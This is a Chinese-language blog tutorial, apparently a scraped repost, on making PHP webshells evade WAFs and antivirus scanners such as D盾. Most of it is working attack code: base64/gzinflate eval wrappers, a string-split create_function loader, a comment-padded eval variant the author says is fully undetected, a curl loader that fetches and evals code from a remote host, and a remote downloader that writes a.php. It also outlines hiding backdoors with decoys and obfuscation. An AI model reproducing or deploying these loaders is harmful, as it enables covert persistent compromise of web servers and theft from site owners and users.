webshell 常見 Bypass waf 技巧總結

在滲透學習的過程當中,總會遇到各類狀況,例如 php 大馬被 waf 攔截的時候,那麼如何製做免殺 php webshell 呢,接下來就由我帶各位小夥伴們一塊兒踏上大馬免殺之路,不喜勿噴。php

一篇好的文章,內容能夠差,目錄必定要 ~~ 吹牛 ~~ 真實。css

一. webshell 免殺

0x0 php 內置函數加密html

小例子: 在製做免殺大馬以前,咱們先來看看,一個帶後門的免殺 php 大馬是如何製做的。web

在後門網站 webshell8 下載好大馬。shell

去掉那些混淆代碼 . '' 能夠看到他大概是這樣的。瀏覽器

<?php
eval(gzinflate(base64_decode('大馬源碼')));
?>

有些小夥伴看到這裏可能有些暈暈的,關於這款大馬的分析,我博客文章服務器

http://kaurkd.coding.me/2018/03/17/%E5%88%86%E6%9E%90%E6%9F%90%E8%BF%87waf%E5%A4%A7%E9%A9%AC/#more網絡

分析過了了,就再也不囉嗦了。關於這篇文章提一下使用 echo print_r 打印出來仍是亂或者彈個小框框的時候,burp 抓包很方便。框架

源碼加密curl

php 內置加密函數,其實就是那些編碼壓縮之類的函數,以下常見的函數

 
壓縮函數: gzcompress   gzdeflate  gzencode  base64_encode
解壓函數: gzuncompress gzinflate  gzdecode  base64_decode

搭配加密函數,隨意搭配,多層加密也 OK。

base64_encode(gzcompress($code)) base64_encode(gzdeflate($code));

我簡單寫了個腳本,你們對應修改就OK

$code= file_get_contents('D:\phpStudy\WWW\Test\Zlib\help.txt'); //大馬源碼路徑
 
$encode = base64_encode(gzdeflate($code));  //加密函數本身修改就行
 
echo $encode; //輸出加密後代碼

我演示一遍

把大馬去掉 <?php ?> 保存爲 txt

加密後:

運行encode.php在瀏覽器上獲得加密

複製到代碼中

OK 沒問題

接下來的問題就是關鍵字免殺的問題

eval(gzinflate(base64_decode()))

我直接用那款大馬混淆過的關鍵字拿來用

$password='';$html='$password'.'='."'".$password."';".'@e#html'.''.'v'."".''.''."".''.''.''.'a'.''.'l('.'g'.''."".''.''.'z'.'i'.''.''.'n'.'f'.'l'.''.''."".'a'.'t'.'e(b'.'as'.''.''.''."".''.'e'.'6'.''."".''."".""."".''.'4_'.'d'.'e'.'c'.''.''.''."".''."".'o'.'d'.'e'.'('."'加密後的代碼')));";$css=base64_decode("Q3JlYXRlX0Z1bmN0aW9u");$style=$css('',preg_replace("/#html/","",$html));$style();/*));.'<linkrel="stylesheet"href="$#css"/>';*/

0x1 php 自定義加密

一圖勝千言

0x2 敏感函數免殺

主要是關鍵字的免殺,我通常直接偷網上帶後門大馬的。分享一個思路

這是love71表哥分享的

<?php
$l='baSe6';
$o='4_dE';
$v='cO';
$e='DE';
$love=$l.$o.$v.$e;
$a=$love('PHP大馬BASE64加密內容');
eval($a=$a);
?>

個人思路很簡單,把下面這段 base64 加密後

eval(gzinflate(base64_decode('大馬加密後')));

而後嵌套到上面的代碼

用 D 盾查殺 1 級

那麼如何讓 D 盾徹底免殺呢,我簡單修改了下。

<?php
$l='baSe6';
$o='4_dE';
$v='cO';
$e='DE';
$love=$l.$o.$v.$e;
$a=$love('PHP大馬BASE64加密內容');
eval/**/(/**/(/**/$a=$a)/**/);

這讓我想起,D 哥的一條微博,不由菊花一緊。。

且用且珍惜。

二. 更小更方便

爲了減少大馬體積,咱們經常使用 php 讀取網絡文件 curlfsockopen ,file_get_contents 函數,這樣的大馬總體體積甚至只有幾百字節,可是要注意,目標網站要是禁用了,遠程讀取的某個函數,別噴我這樣的大馬根本不法運行,還有讀取效率問題。

0x3 服務器遠程讀取

此段代碼(抄襲)借鑑自 szrzvdny 表哥

    $ch = curl_init(); //初始化函數
    $timeout = 5;     //設置超時
    curl_setopt ($ch, CURLOPT_URL, 'http://www.xxx.com/233.txt'); //設置你文件地址
    curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    $file_contents = curl_exec($ch);  //運行curl,請求網頁。
    curl_close($ch);
    //最後關閉curl_close();
    eval($file_contents); //執行代碼

233.txt 的內容,你直接把製做好的加密大馬,去掉 <?php ?> 上傳到網站上就 OK 了。

至於免殺問題,上面文章已經告訴你了,若是有興趣能夠去看我寫的一個失敗的大馬文章

http://kaurkd.coding.me/2018/03/17/%E6%89%93%E9%80%A0%E4%B8%80%E6%AC%BE%E6%AF%941kb%E8%BF%98%E5%B0%8F%E7%9A%84%E5%85%8D%E6%9D%80%E5%A4%A7%E9%A9%AC/#more

擴展思路。

0x4 服務器遠程下載

<?php
$a = 'http://www.xx.com/1.txt';
$b = 'file'.'_g'.'et_'.'contents';
$b = $b($a);
file_put_contents('a.php',$b);

運行後在同目錄下生成 a.php 內容爲 1.txt

三. 後門隱藏與去除

關於後門的隱藏我不會給詳細代碼,只是分享一些,常見思路罷了(表哥能夠把菜刀從我脖子拿開了嘛。。)

0x5 隱藏

收信代碼網站簡單 base64 加密就 OK 了?

別人很容易看出的,使用自定義加密函數,來混淆,拆分,還有賦值變量,替換 &p 還有框架掛後門,xss 平臺,總之一句話,各類騷加密混淆。

這個也很重要,還有一個很猥瑣的思路,多後門,給個明面看的後門,暗地還有一個後門。

0x6 去除

首先,你得把大馬代碼解密出來,關於抓包不要本地測試,找臺服務器,註釋刪除些代碼來測試,常見後門關鍵字 geturl hmlogin等。。

總結

但願讀完本篇文章對你有收穫。因爲我我的技術水平,沒法將文章擴展開,有興趣的表哥能夠去搞搞。做者文筆不大好,有些缺漏之處,請諒解指出。

咱們是站在前人的肩膀上成長起來的。

相關文章
相關標籤/搜索